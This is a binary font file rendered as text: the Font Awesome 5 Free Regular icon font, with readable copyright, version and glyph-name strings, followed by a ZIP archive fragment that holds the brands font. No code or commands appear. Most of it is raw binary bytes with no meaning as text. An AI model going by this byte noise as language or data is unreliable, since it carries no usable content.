 X:  	  .  	  &	  	  E  	  6]  	  &  	   C o p y r i g h t   ( c )   F o n t   A w e s o m e  Copyright (c) Font Awesome  F o n t   A w e s o m e   5   F r e e   R e g u l a r  Font Awesome 5 Free Regular  R e g u l a r  Regular  F o n t   A w e s o m e   5   F r e e   R e g u l a r - 5 . 1 1 . 2  Font Awesome 5 Free Regular-5.11.2  F o n t   A w e s o m e   5   F r e e   R e g u l a r  Font Awesome 5 Free Regular  3 3 0 . 4 9 8   ( F o n t   A w e s o m e   v e r s i o n :   5 . 1 1 . 2 )  330.498 (Font Awesome version: 5.11.2)  F o n t A w e s o m e 5 F r e e - R e g u l a r  FontAwesome5Free-Regular  T h e   w e b ' s   m o s t   p o p u l a r   i c o n   s e t   a n d   t o o l k i t .  The web's most popular icon set and toolkit.  h t t p s : / / f o n t a w e s o m e . c o m  https://fontawesome.com  F o n t   A w e s o m e   5   F r e e  Font Awesome 5 Free  R e g u l a r  Regular  F o n t   A w e s o m e   5   F r e e   R e g u l a r  Font Awesome 5 Free Regular  F o n t   A w e s o m e   5   F r e e  Font Awesome 5 Free  R e g u l a r  Regular                                   	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJ KLMNOPQRSTUVW XYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~heartstaruserclocklist-altflagbookmarkimageedittimes-circlecheck-circlequestion-circleeye	eye-slashcalendar-altcommentfolderfolder-open	chart-barcomments	star-halflemoncredit-cardhddhand-point-righthand-point-lefthand-point-uphand-point-downcopysavesquareenvelope	lightbulbbellhospitalplus-squarecirclesmilefrownmehkeyboardcalendarplay-circleminus-squarecheck-squareshare-squarecompasscaret-square-downcaret-square-upcaret-square-rightfilefile-alt	thumbs-upthumbs-downsunmooncaret-square-left
dot-circlebuildingfile-pdf	file-word
file-excelfile-powerpoint
file-imagefile-archive
file-audio
file-video	file-code	life-ringpaper-planefutbol	newspaper
bell-slashclosed-captioningobject-groupobject-ungroupsticky-noteclone	hourglass	hand-rock
hand-paperhand-scissorshand-lizard
hand-spockhand-pointer
hand-peacecalendar-pluscalendar-minuscalendar-timescalendar-checkmapcomment-altpause-circlestop-circle	handshakeenvelope-openaddress-bookaddress-carduser-circleid-badgeid-cardwindow-maximizewindow-minimizewindow-restore	snowflake	trash-altimages	clipboardarrow-alt-circle-downarrow-alt-circle-leftarrow-alt-circle-rightarrow-alt-circle-upgemmoney-bill-altwindow-closecomment-dots
smile-winkangrydizzyflushed
frown-opengrimacegringrin-alt	grin-beamgrin-beam-sweatgrin-heartsgrin-squintgrin-squint-tears
grin-stars
grin-tearsgrin-tonguegrin-tongue-squintgrin-tongue-wink	grin-winkkiss	kiss-beamkiss-wink-heartlaugh
laugh-beamlaugh-squint
laugh-wink	meh-blankmeh-rolling-eyessad-crysad-tear
smile-beamsurprisetired                                  k%    ٮ*    ٮ-PK     N\J( (   webfonts/fa-brands-400.ttfnu [               PFFTMȔP    GDEF *    OS/2B8  X   `cmapr    gasp     glyfo   lhead9.e      6hhea6     $hmtx@cC    loca`|^  <  jmaxpO  8    name   postVI   G   J|Yق_<      ٮ)    ٮ-                                 L '            @          Lf   GLf                            PfEd  . T      :                                                  @              @         	    p      @                                   @     @          @         @    
           @    
    @  @  @  @  @  @          .  @    @                  @    @  @         	@@                                                @                                  
 @                                        @                      L  h      @                    @         P                                              @                   @        @         @        @                 @                                    @ @                               @  @               @                                  E         @                                           @                        @ @                               	    @                               @ @                                 6<Zinqt~	27>L^knp~\u}!#1MRWY?B1]x{=B  6;Zgkpsy17:K^`mp|\hx#%MRWY
?B0]xz4?ytn8-zwhedXTQP620$RGEDB@>=<:9875321.-+*)(%$ wihXki=;






U
*




 											l	k			                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Z  B<x8X
B@	rJz`.&Lz$@,D\xJlh>h$F.t!"D$H%0%&Z&'B'(*)N)|)**++,l,-2-\--0V01112\223x34F44557&7b7889j9~99:D::;B;d;<^<==^===>:>>?p?@\@AjABBCnCDE.EF<FGHG|GHIIJ:JJKDLnLMFMNNO@OPQDQRRS:STTU|UVLVWNWWX>XpY4ZZ4Z`\].]]^`^^__z_`a^aabbJbddeef4fffgLjk^klDllmVmpnpqHqr^rrst&ttuTuuvvFvvwDwx
xyyzz{{t|}6}~~H~@@DjB.~f̅솔6̉:0*|rNVܑ`vNPX
:lԟ<xܢ@P֤*~إ.ʦhxf𪌫&R,:V^BĻrN^,tBX 8lhNԌ,b>fNڌڼۄܒ Lf\&Jd6       ;  2#!"&54636767&#"&'&''3#"'32>54/(S5	"$-	.79X)`0!@
$:T-      $  2+537#54;5&#"#3#"&5463:E()??H/&=,7H`          5  2#!"&546335#6264&"54.#"#5#354632gC  @!!@Cu"j
h   	    V [ c i p w }   2#!"&5463>54&#"54&5".'&'0'43767.547&7662>&&364#"32&'&6'6&'6'&&6'&'6'"2=aEE]>2	 	
	+
S	`W7D]]D7W
 
		
	)
@	       0  #"'327"&'327.=&547&546326767(ItFXII:#5

	&/'q@=+.$"(	5iW6/-)+ 81:+>!%      %537#54;5&#"#3.5462xY:E()??YxΑ\H/&=,7H\g       e m u }   7#54366'72&2&5<54'>54&'6'&&".&'./"2?'.5466'&'6'&6'&'6&!(GDtC]K	$
"A%	"
 
	L^,	"	3@pDS? (%			%!(0Sh
!	    J   #"'6?32654&#"7>76'&54632#"&7>54.#".5462g&# 7IXALW=3.:$
GW'Α(;YA=RX>9
"+A9,!4
$
		"	g.~Ng    R  +6?32>54&#"74676'&54632#"&7>54'&#"&5463!2 %:!WAKW=2-:#Y`p$;(F*=QW>8!+@8, 4#		7 `        + 7  2#!"&54632654'#3#".546327&#"%5#5##335t+5^9$');;`6,"%;R;R    t  '  %#"&4632&#"3267#53##5#5353fRPppPK54. 7 F126mn888778Sipp22 8!2G6C88888        (  3#3'"&4632#54.#"#33>32d]].  |]!]Z
. "-	+) , *#+))0!       
 3 L T  6#".5462#*.'&547&5472632>34&#""'&#";2>&2"&4#9	) 76-*#1*/*&1"'@(",0+"(*&00/d##&$$;$	(7A0
	.w#00#&+V$&$$&     
{   %#76&+###'!2a41<a;S<a<-t>$%`--=       !'7#3/#3?#'#56/cat440>&L1      '73?!7!7!7@RtMPP_),,aR5R   . A T  %#5"##5"#723>75."#57536353'262>54.2>54.#6MGB11	X
T11 
	! R5,DCCD:4ONMO:T`
		

       2 $ '  #"'&'.'547>7>7327'&j,,*'
j,,*ǏD$#
	Z+%CY+RQ   #  70+"&?'&6;2%+"/>76;2F
AE,A	[B\H)
B|	zL	V	6H	         1  2#!"&54632767'&+"3%6&+";26/\0 .1
/fB/B`	U7	6W	x	w           '7'7757'7LUTTUTTTUUTTTTTUTT   ~        %'?'7'?'#553!53#	zw w4((')'.$T%((Pxx        3 k  2"&4264&"6"&462"'&'.5&47676762><.'&'.*#*:3:>76`CC`CT>,,>,\C==!!!==C-#)(##)'#3C`CC`{,>,,>6=C! <!"C#('##)        2#!"&5463264&"264&"F5%%5%5%%5%`%5%%5%%5%%5        
   #$"&462'373A9Α-""bqΑΑ44      !23#!"&'45467#D	D	%_	֓  : )  #".=#"=47>76;232+7665!*>/
*(F
T

T#!	 .,
DB%
s
R
@
        7  2#!"&54636/&'&&=32=4+54+";3244,	1&*`(S4H
8+Z  }  (  %"&#"#.'&5467232>''&7>7?=: ./1E.8938 %&?&P26*'?F	(n&( (            7#53537#b"       $ ; D P _  7"&=463253+&=#&=#"&7#4>7'&7676&4&"3264&#"322#"&=46Z
&66"	we	tt====#$$#52tt   
 	   k ~   
)C  #'476#"&"54762"10'&'&"#'.'&'&76'&5476767>7&767674.>32&63"6'&""60'&672676&367676'.'&#""6&/&'&6567656767636'6'&'"&#&'&''.'&'&76#%4'.'&'&'"1767>&72132767>2#"'&%

+! 
!	
0

(

	$29#%		
	

	 E
	
.3% "#"(#*%9		)	<	5$	2#1!.2
 3$
		&#



      " . 6 <  2"&4%6&'.>'7&>7&''7&'67&ΑΑ:#		IKG'd3+$"70!^e$76H%
lnR.t3 =YM?EΑ*
JR#9C&(,9!AR<8.
 %MSK.4ZP        S  %#"'#"&547&546326322654'&'.543232>54&"#".#"B.&UxB.&Ux-C[*DWA		

G&.BxU&.BxUr-)9	()

	&   t  ?  2+"'&54636&+"?>;2>7676&+"&=4>;2>5C0	S	Y	I
Z	j !	Jl%	     # 5  2#!"&54=46354&+";26754&+";26!!!SSQQ!!}(!{         2"&4>&'&'.ΑΑk!&"
qΑQ		
        4` M  0+".'&#"#"&'.54;2326=.54>;227>?6;2!)";


(/`$"-;=]$		;JD3	


&!
84.[0

=`	W	
t<     	  & 0 > J T \  6&&676&"&547676766.766&76&&6'.7>'&>&7&76
&3ULH<,<IB@D4	_@@S_@@E2U&%J7CA < c
		
9$
L=CLH'155+.iS3DS3w
.Z05R	53	

		
    	    &54>7"'>77.=RB:6^:)?8-??-7!6'XvR EZ=iE
Q..QX3?M)\Z   R  %&/#"43267.'>67".'665.674>2/>21-a90Q%/,7%$4##&#*)&&7&'
>H;3	-'
$,"$$6*+(%2)%
         7!+5#"&=!%5!'2!5463&W&dA&d&t'ZZ'-UUnUU((       4  2#!"&54636'&6&'."6323276P2B!
	-A@`?N		 *f#!3TR         + 4 B K W  7"&46;462"&5"&4622+"&54>3462+'"&=46322"&=7"&46;2#^&/''/'/v3&/'/'/v'/v3&/'/'/v&/''       / 7 A I Q  .54'76&#'&33'76&#"#>32"#"#"'76546"&4624&"2>e6BeL	"8!/M	#^7S=A#$:0A<ΑΆċg>-"4G		[,48":	2/7:b($ΑΑċċ          %.546777'7&'57DWumS7EM:D%(E3# R85Q
+	8$&:T!+     7&#"7.'327>7327		    g	;/%9*7-39`O$4        %#"&4632.32>7#53kggaEC YM7Z@#7jΑAA!M2A\#"V     ; I U  6"&5462$"&462"&'7264&#"'&&#"32>54'>&6"'&7672"&54>Α
$28=2$	N61$ULC

ΑΑ
NV
(7$tY


        % 5 `  %"'&76276'#"&5463272#"&5467#!"&5463!2"&'73264&#"'&&#"32654'>&RHW[`d'6;B6&T:;Sf1`
U]!	*<<*
!    % 9  2"&42754&""&=#326=405#"&='32>ΑΑ",>,

:,,:

",#Α!


+*l

-.,+kq.0

/
/+#     1  %"&=726='54&"#"&=332>=462B]B"4B/.BV
C[C4F.BA.FGH:.AB.FE
-?@-$     % 3  #!"'&'&'.5463!225#5#"3326	`		|
`		        `  	    ! % )  53#55#%3#535#75#53#535'35'3#3#R3RHRRRͅR4444L]]))]]))]]u3       	  # 2 B  #"'56322#"'567#!"&5463!22654.#"#754&#"7532G`+"-3+4!DiD`/ %	
3:B.
3  9   @ D      7'26322/>&67>77367>?"&75.#	&'<7465&#".'&'#"&54?.>3263263232654.547'6'632763'7>31#	376I
	
G#

,g;
#,
	"	?!
,		0
5/)
'	E<
		-
\	PK<	3		! 

4.

"
	
#C3^        ( : T  #"&54>767676'&#"&/"6'763276&'&"76'&#"#".#">2@	&pNNt&	( +$P&		
V
=
"+#3(*	
0M,E'RhmQ%D*#&
	D%**"$

1       1 J e  46326&".'.7.67>>32'64&"#".'&'7264/7'#"&5467&72767#!6*,
d,3!V6"#-,
Z#9,d-[(b0'(7#,,

Yd#*,d,2"6!_U#!8--
Zl!#,d,[	(0'(#!7,-X     @u     3 9  7+32'3254#254+%#53#32>73#"&546323&#"AH5qO/5
:8U8!>\<GI::Cs3 H34cX3NS+(/3b# "VJ<;MP7          # ' 3 H  7+532'+5322#>7#!"&5463!235#4'654+32674&"327##"534-.+(?`NN+#>Z]'$?(
2"	"d47--`})
0+ +* /
#    ! 2 : B  %#"&'326'7654&"&'>32>&/6'&'6"&462264&"BsCU_&*T(87M7;bg 	(	3%%3%R''CsBeO' +<8''66'V7`	(v$4$$4&&      6 > I  >&/6'&'2#!"&=326'7654&"&'5463"&462264&"&Y'O%53I38u0""0#;%N&&^q%(84%$33$Q0"0""0$         . C  2"&42654'&327672654'&#"327672654'&#"3276ΑΑ]	
`
|S Md20
?0$	R{B4

<5Α	9	2B-L
0
      @   3#0#57'#53?3@b[,	]]V+	bc
	T	]		T	     5K   # - 9 D N ` u       7#"5'743272#"5'7472#"5'742"5'?2#"5'7462#"5'762"5'?#"5/7547632#"'&5'?47622#"5'72+&=476326%2#"5'74'2#"5'742#"5'7o	s~!..!	7O.AEEA)iEEiDD`####9989DBBDFDDFr@  :BCC8/ !.		I6<AACCCC      +  %#'.'367.54632&'654#"O*+%$
J;+-%+7/(0

"L44\;K~Km5,>N12A)<:
.:9            $ ( +  /&=4?67'775'?'7'75




_MجM_7_MNNNdM_7 ;g?3ss3?5J%g?3444s3?5J%   A $ I   %##"'.'&676'&76067>6&'&5.*&'&35236'#"'.'&67>76'.5676676.&76"	$#J$;
'&/("MD7+
"/26(&"#D+;'I!,!%B'
$	"1D$ ."#C1)6%	($X6%		('B<s L
!		&&H	
%	
/,    
 [  "&7>721>?>././76&/7>?>?>./65 g<7
		

-,		
(8h<i#36B

 
		32	
	 +3
	A911D+m    	     ) 6 C K S b   &#5&'&'&5473.'77'>7"67527'676"&4624&"2'67'654'7&'"'7&'&'7&47'6767'6327' :a

)=

:b);

a:=)$b:=)oΑ΅Ċc

4	@@	44	@@	490	.	2991	w90	/-	09.	09/ΑΑĊĊW2r1	CC,,CC,,    
  " * K ] }  7&5472#"&6%#!"&5463!23254#"#.32>54&'&#7654'7'"=#37'.541535#"545#23232e!!#O`1$@ 0	
!	U4He&$
r
|`YD
 XiK
=
B        ' 4 < R ]   &'#"547&5467&54>4&'"&"'6'26&#"527>=4&'733'".5432#"&=4&"#5>73;#067%"
%:5f#)-(453T?	%%!!$	&9="##&2
,&
		$##$d w! 	###j%	>)a         !!77#.'#3@Q#	%P@6-/0"g    g  -  '&67&632'2'&6654&#""'&>H	77 !;kEb{Q>jP9%>"
	'M0_93!!sDbENeRC9P$9G#	(VG-      2  $./"'"'&67.5'"&6767&632n##m 	
!QRQR!
7	
7
	0 Q^yx_Q 0     3   ( 6 G S  "#"'7&54632&'"3264&264&#"'#"&46322>54.#"32>54&#"E`
1DNrQGq	rD6(F``FBc
o
Z@	";7ME`N;50=40
SuST!		       F ^  2"&462"&46'&7<5"&#'&7&'&625463!254.#!"6366263$$3$3$$3%#G6"(&	&("6H#gB)

 *D&!0""0!!0""09*f4!
*)!4g+
	
   
 	     !##5#5!3735#5##5(uW9<kZ9k(C(u99:99uuuu    " 3 F V  7#"&'&547>32&54?6#"#&7&6#"'7&?632%67232/&54+dl	
1
J	+mi		Zk	>	5;
"	h1  		Ro	"(
[)
	    " K  7+"&7>3262"&7#*+"&76763:>7676oK;H$
*m$y@
  s	O,YBpW	   
   )  &'>&42#&'&6373#&&'&'&6;2507h<m~r
|JYAUM21c2">LvnM	X¦nfjaJH      @   % ) H S  %#70>?#!"&5463!27#/&'#37#74'&56367&#"#"/26'#"3673!m X@+'@$("$'  <*4&+`jG2!
	#    @  	   4 B R ^ d         -9F  $"4!2#"462#72#"42011"1"1"1"1&1<143413030310030410+353#!"&5463!2327&67&#"64'4#"&#"5#3<>323<>3237#&#"327374&5427&"'63'=35#5##3734#"7'&7&5#3546467&7'7#&737&5#35467#&7373535#45&1&0#"0#111323210606107#'#537374&#"326xuuJ  Q9*#76#*9555Y	-

(	#
	:

	5"

*Q9*#67#*9Q1	Z`fsQ-,)))v%	
	
%	
	%		 			%	%			|~U:Q--Q     @   ' 3 : B S k u y    %+53272#!"&54633533'654.*#35#535#535+37#&"264'&75&546"'654&'&5467&2654.+35#5!26%+532 :-r#$;%%^! a
,
$l[3z	*		`R!!#RTT7:%%
/

	



RRR i	6 A   . 7 : A M N ` g { ~1Iamxy  #<.+#532254+2*##'#5377'#3#57254+'#3#3#53#54.+#532254+'#5#'#'##7353733':>7#!"&=3673353>7352335;67323535#&'#&'#"1#"5#.*+.'#.'#5463!2"#"5*5#."&*#&+.'#3673465273<523272?"+73254&"&54;254&&54;#"6+5'#3##53'63023"'&47'3*;735353#'#'##"543'3#E'!BC3)$$j?

'&&'77I
'"#
 5B4)(+ (g.(#		O

:SR
0'$	  !W	!	 
'&&'889	""!Lp	EZ	E6	8	Ej EP6666EBB//(Z						\	
		
&n]
		<	
(

(E^7BB11E44"#(E    @ 	   , A X r      7#"54632'2+743!2+7437#!"&5463!24+";2?46:3267#"&#"327;2?47454+"'&+"0;274+";2?>:1267#"&#"327;2?474+";27'2#"546
	j	  @"(T
%@
"(T

,J
		!
`f
@b\'&nf
@!h1	
 
  @   # @ P Z ^ b q   %2#4>2#"'5672#!"&54634.54325&#"#"'32675#53275&=5&'#3565#752654&#"'#757454&#"3275#"'
$	q


 JE#e
$
=$$$n $		5`	"			"Lr3!}Ub}}! "	(	3$
	       1 O X  7#"&546323254.'&54632&#"	#"&'.#"26?#>BD@%)=

D<-^;+
zFE) (&		Q
FCFM%<-'J#
	
Q60	(
/3*	     g  2#!"&5463254.1&54327&#"2#"'.	#"326?'#"&54632L	$:%+
&.		
(+#		
`3	/%.
0,&
       ; G  2+#"&'#"&46;&546324'!"&463!.#"!2#!326%32+"&46h

5gL|C

5gL|

^8Su*

^8Su


 gTDgTD`/9uS/9uk  . ' / 8 E    %#"&547&54632&54>32>32654#"6'&"32654&>&'.#"723201&'"##"&732654&#"32'67&[!iVF_3/%7P!"/."	=0
Y!r(
1
	.	C-A6	0&Xs\99#3%/^xeC
Q\P:('!	;A		

?$!)/          #%#!"&5463!2#37+V`A__[p)`*[[   3 J M R _ f i n q u z               %#"'#"'##"&547'&547'&54?4&14?&54>32362363225#7575'#075175573'7'37'77&='&'#'#7#"7'"7'737'37#3'#362?#6?#747'74547'67&74kj	476	8jj8,,-,3483,.,rb@#PSPY|D"uSb:9
h3Kx63)O<<$$kR#[ci\&\a|sZ#V.#_Z	Y_\
a`	L30?\4Z`H!<KfCRXT\G|Xed<=y66G6QS+U?sL&2;V_Z__S\=lO        7+"&=4633'54.+"Gf5&&55&,3	XhU%00%'75{		     	   '  7&54632%&'>7&'677&'>7\\gq!!p$74(-CyU#"g\$a!rp!0>}B-k#Vh"      :  % :  #&&#"6326"'&#"&#"+632632&#"&#">326328/-:8C,0=*)$"75>))>57#"*>G@**@G>"/6>))>6/"!18//8#9Q+)))]##&&	    z  , < M ]  %#!"&5467&54>32>3254&+";26754&+";26754.+";26754&+";26)5I22I' '[:Ec				Y				Z			W				
C+3HH3$<&8HcEo		o									

		 '           # ' + / 3 7 ; ? C G M U u y }                  ?7?7'777?#5##5##53#53#53#5##53#5#57#5#53"&462'6#"'32654&&543237&#"'#553%#5!'%!5!#5#57#553'53'#55353'#53#55#53'#5d,r"""!"Q"=!"Q"$"L66L5!	 	ya*zz"!!Q"u"/"&






B
	

>
g















"""5L55L:I""""M!!0jbbU;;!!+!!!!+!!xM"""""""         " *  2#!"&546;235463264&"264&">j7''7'7''7'L(('7''7''7''7      | Y  %#".#"327>32#"&54>3232>.#"#"&54654&#"#"&547632632D26()!)'5*9<+C; S(@Z)F*!<,,"'%.&		%	!
C2(&@3%.Bw1B#-/,$,>>,*"R?*E&",/,"))	2A	,%3	>       @  2#"&'"'&54>7&547632>54&#"#"&546Ik$=&(		
%	&	A5<P	+{\I$D:",0	Eh	 0K 214:N<,>0Pd        H  #"'7&546322656'&"77'&'&5476323217676}C\91v \\\Ln96mF+
	)1-	!_CZ\s3<\imLJ86lL5-D?	)	         3#3#'#53'#53'3377#00DRgYYgRD00@Q^Q6p0 00 0p@       (  !!5#'#35'&753735'&75&7@tS;DW Z O	Cv@V"&&s          !7#/#3@N!.-#L@ [[^  B           '8I[nz  %'''.567&667&674665".'&7>762263&'&'45&'&67666667&6767&'6:>5>"23636#6666'6&'.6767&'"#276&67&54&&7&'6757"2654&&#327>'"#276464'*#'7>7>7&7.#'&''''&'&'65.'&26'67&'.''&'5767#65&'&'&7&5&'6&3>.>6&5467"&7654'64>76&%'.'&6'&'&6=33	!	
(!'%/T'
		N
4	P
2
#-?,,T"5#J	$a8KQ/K*
	


1
255+7S987172
$B!<4% 
%0%	))	"
G	"G%
"$	
		
!'(!$	!&'	("# -- -# .&

$6 	( O4*!
&	O6R
		"3%&  	

	#

	H	
	+        0  $"&462"2"&42>..'&&&&Q';('33&XQ:aB9*e&&&&)#,8%' ,)        # 3 ? O W _  2"&4#;2=4>;2=4&#"54&+";26'+"=4;2+"=&54622"&4264&"}}}t		%$		9(-				ΑΑ}}}		  		(9-

5
		
Α   @     ; N c  %531"#527#!"&5463!2##"'232>4&7.675&464.'>54.'+326&((h v9
73!"651""1	
	u{ #` %	!!2=
      @    ' 6  2"&45>54.'72#!"&54632654&+"3ggg ((p( OywQ[5X4rOpghh9F88#x``qMTn0Z8Np      ) 8 D  7&#"327#".54632&#"327#".54632'2#"&54>2654&#"!
!!	,
-.!	!!	+-.yi)EZ0f?sFQzvUVuwX'"(%$X'!(%h6^?%gBrD=sXUvzQSx        t    7'7'7'7'77''gg-4M-4Mggf-4L-4Lg  	     2"&47''77'7'7'7'ΑΑJM5MM#~~~JM5NNΑKN5MM$~|~~KN5MM  
 Gk 
  3 ; M U ] j u }  7#"&462%2"&46&'''.7&'3>3232323$4&"27>7.#"#"#"2.6$"&46254&#"26%#"&4624&"2		d/w%$s/0#	Z$o+)m$`
#C_DD_`P7NP2%!VZ(!WY*;**;': **;)''	%//.-"#v0  /u_CC_D~7L#1+Y(!VZ(!{;**;*H!*;**1''     < ( 4 @  %'&'.7617&'.7>26?6%4632"&72654&#"!9L9L#	L; 	140
L6#<#LlLB&4&&rL#	9LM
6L#;$5LL5%%%        D  6462"7#!"&5463!2264&".#"&/&?6/67>  `/D//D%	%00$/#
!!`SD//C0	/0$0        +  2#"&=46367>54&#"&'.#"2]]")
" 
*"	]] '!( 	  L  #'&1.'.<53>7.'&#53676.#<5:3.#5'+&2RJa
0 j!;-		<)&;@z(cZs)%780
8=
B7.

{	       j p  74>32#"&$"&4624&"27'4#"#"'614#"&'764#&5473254.#672/632327"37.#"'67Αv9+K70B
-K90@!`		oΑΑ|
A+M90A+K8/        " ,  7'>32'&4>32"&%'76&'7.547M#f7C:@!)#&#11F1;!<P@JpM*?Zx(v,0!%B!;&1F11|S.%$X!')}\J>         %0"#"'01&'&'&'&747676747673467676773316676767"67203&'&'&'01&'#'#'>76'&"'&/32656'.'&'&>?677%06($"?	
			%
	.@
 
	4,	
	&B05-)"
	
	
A- #&"]        %  "327#"#.546;2&&'>4&'>:=`*&=W5.F_cg^F-0G*76+GOJk~0K?dg?sb~bJ   	 ! * 2 <  !673#"'.546767>667&734.#"7654.#"&/?DywJF ">59O5EQapI	#)IY/*=C- DI$3 DN&# Q gFOUk+9'%9!*,6J&         2  7#"&546;%2+6''.'.676767&'-
P:4>7#
$6 /*A|0#>=g>3E/;73!      J _ q   7&6765>32'&62>54&6764'&#"#'&=4;2+3>.4>#".&6.'&66'47'&>3276#"'#"'&g9((:O2	$*8'Z &&'77&
%eU;%9HD<0%,-.
%0C#	1oT	
5IRR		h
	^%79(1;	&	/ &m'&&	

("Q5*E'1*
1&_?0J%
    - 6 N d  <.#*'4632&'.54>576#".'&62>76&7>'&&>76	JI>.9&.2-%3%T
$T/0^37&@9J'$	*
&		(@8$+ ,W)7	
	))

&
     	  %##3#im2uhV    &  #"'&'.#"'>76?676&6Y[?'		
(	4"!]E&ArwI#-)0%
L5-l     
  !!%'7#@<@@@@\@{VVY        , ? N  !!274&#"#3235'&74=37#4754>35'"454=#?'#'##77@3#!,8DSgPQ		 @3
	%oq%

l

!     * 9 G T  %2#".547.6326?6632#"&5'632>54&#"6'&"'&272>54&#"	{X9a8	9O	aXP9
ky&1?Y)E*0'(	!}'ihR
       '  701!67"'.5&736.'#>32>W\Nb'4DzGq$zc@h4-6	ib69!.+G4];64       -  %2+#5#"&4632'#"&546327.#"326WAX2ggGp#=+O>WW>H-;]7[[:b,a.C&ΑIAmnHW>>W?#/5;          %''7'57#d%S}.*}TA`&::   Y e q  %2#54&"#54;2354;2354;235435&4663232632#"&#"2354;2354;23543%54+";2754+";2"*"$$%	
%%$``     p<&     @@@@      Y  $#"'&=#;54;2+"=#".+#"&46322>7>23>32#"&'#"!546Y	Y		Y	'e&**&				6	Y
5$<"		Y		,6,*:*"	!<#6          $+5326"&4624&+3532FFFȑΑ3$x2F$JΑΑH3J    |  7 F U  %#!"&5467>322>54&'&7654&#"'&#"3$#"&764'&>#"&764'&>"8'/B7*X6A`	J4%?
**%	"	''8C.+?3?X4J)!	);)x8	-l-Ia(	H

      :  7&54636'7&"76&%#/7327654'&7466*^I"<53%8C)G!G(
4RmR=#!@P_"*&3IPH'%*#	6$*+),IH'0A(       &  '77#".4>327''77%+*|,..C97D-,B3O}J]]J+VV+Y3O7&	6fi89gKXI^\I    '     7''7'75#'7bVllV422gV ll VΝ2djd2          1#7627'&73%'#762i98f^ 889Xڸ	e	&     ! ) -  %#"&'*##".67.>2%35#5&''35#7#77#7!=ZfZ=!**-e)&lm~8//8&TJ;##;JT-: "j:   	      $ ( + / 3 6 :  #!"&5463!24+''#"3!2#5#5?##5#5?##5j%	o==o	jIIIT6vp@vcujjK22K%%J&&,u%%J&&,%%        1  2#'".'.&56'&'&'.VP5QF! %&#D
	$GI&%6(,>=E10RG	.A9l
,!	g,         i  #"&54676327#!"&5463!24&'&#"'>54#"32321/4>14&#"3267>4>7632	`@		D+ "3	! +
,(0
3`"??%*) <
8$     H a  %#&#"#"&546327674"#"&54>32>32'654.#"3:>76#2	(5R6(./

	BI%R6$0
	7

8Y1'6	*-GB-XA-$f
	P		M(?    1 F  &'67"'.>32&#">54'654#"'6767&547>.%$33(&Y;!:N3!#1	m;Ob/&KB%0**JMXCJ88*p^B	T:";'AUM'79DR;$cI)+!2        @ U  2#!"&5463>''3654'5.'.5463267&#"2726&'>7
1%D
'1$%8 c<)	.`H%3+U$"#!	1./6(	0 $5);F#.>	     h  2"&46'.'#&76763654'&"'6'.#0"1"#"'&3263277632327>76ΑΑ
 			,'Α	
<
<  l  %#"&#"''.#"#"'.5.'0547>7056'.'&7>327&47>3023232761<	("*
			
	
%(	/)

$7								
I$%I
	       n  2#!"&54636'.5#&76763654'&"'6'.#0"1"#"'&03263277632327>76Z

.	,'`	


<
<    
 #  7463!1#!>7>7>7>7  F1GE1YXF13/#"%!<H1FZ9f1F&4H)       G M S Y c  ?27777''''"'7&'7&'7&'7&547'67'67'67'6'7'7'5$"2654
-2=
@DC@=2--3=@DD@=3-
ʼbbbۄD@=3-		-3=AED@=3-	-3>@D  uuvvPmnn;bFEccEF      . 9  3#"3#"&=4>73	5>574&'&'37#6734'7[++)%6*C(

		0!
>2
1=t))5%)82i@E&(3.GA1. 
    
 X c u        462#"##"'"'"'#".5#"'67&'7&'&54>3267>761>32632632$2654.#"47327654#"&4&"326574.#"26574&"26574&"2657#"&5476326262632>74&#"32>6
	&N		 	 			" $6	$G'
-

 - 47)	1
	12M/?!FZ%"			 	 		 &3)-")R-_	 O- 				7!25$" &(Dt	!B6#
		 	 		 		 		 		 		 		.iH2>.VN*?$)        % 1  2"&42>54'#3#".546327&#"%35#5##33ΑΑ#7uF)- !"13II##$$$$Α7#
+ .! IfIj$##$#      =  2#!"&546354#"#"'&#"5654&"32756=6276323276.(%"&* \	
-  
 B F J N R V Z c g o s  %#/#/##&1'&'&?&5'&?&/&?2327674?677'///7'75'??'?
7CTA&{Z"$#;Fe[yjIP9@F+:
>NOU\_BX@)J3H,!6.CENd',# $&9a=/791=^:=D<>F=,DC/DJC("?$A      4  %#"'.5463232>5'654&#"327.#"'632(;%:tKxNOwJr588338+!)=	">(dAUpoV_:$

:%?PNNPON
     8}  h    #".54>32.54654&'&563254'&7254>54'&#0&'<54'.#"2#"&4>7>&'&5462#!"&54>3E
#!$:

 ,
	" !
	'
&	05}21N+'I.
/Y!!"0$


&(1N*%H0'fm)	        2"&46&762?7ΑΑr=s>Α]Yh?.
         2"&47#ΑΑ(UUΑε         . 6 >   %/&?6''&766'&7.7627&76"&4626&'.>;4'>4&5'676&'&.'&7&'">374'&"417670.#636=4'#&'6767-

	N
!	)!
ΑO
	
		2
'	/].('
		
	
	$7ΑΑ
%	 	;	3		
!5
n*%#      X  %&5>56'4.'57#.+"72>73#.'&#;2>7
h	
X	C-Yd<Hr~		KI'	$          " 3 C Q [  2#!"&54635#35#&'#353732326'454'.#"+54.#"5#3732'#52#"&5432L!++(
.
		uU`[<)UUWW*


c$	
*
\1T!*      , 1 : G p  '"#"&'*#./&'767676767667./"'.'&>54&#">&6?6'6873		Fm	 D)#
!{
)S70;qPJ6I;J$	0_3@!-
"!
	$m>!4DUB4A%"2(9f-N4J)l^8Pr1N 	'      7 \  2#!"&54636&'.14"&'&'."04&'&7676&"&306/.>1276a,8''88'*$	
/	$|%Q)%/,'88''8IQ&/)
HQ&
/)       7&7>7>6&'&6W?_E#ZZ#W?`E04P<'D,P<;ZW>VFe	W=WFe	;X"@'<WN            # '   "&4624&"26%'#'#7'7''7' ԖvW%W/213DEDm77*ԖԖ \%W%R^ddk
|D7        ' 0 = D M m    6&76'&'&76.76$&'&>.6766&'&>7'&6&6.''0&'&'.67&67>6.'&6'&'"'&#&'&'&767>7667>763266.6a
	?
1m

+
T		FE&#'f*3T^(+	
		)		%	,P				L
9	

<	w!K$2?#J2$ A5
@`
b"k
F
"K
	S       - = M  2#"&#"##"&=&54622763232672#!"&54634&#!"3!26S('#"&<j\,
	\r\	    ) 4 E  %&?'>.#"'6?'.?6176&"&463227.547
)*'1''#.L+3 D:j-*'FA6!!(/z $>-'<2#' V.=Q C*('A&5*'8.     1 S  %01#547>73&'.623632&7.#.#&5&7067672?B.,]rvy3
::q
z		;9v*)"%txBy+	/	L""6
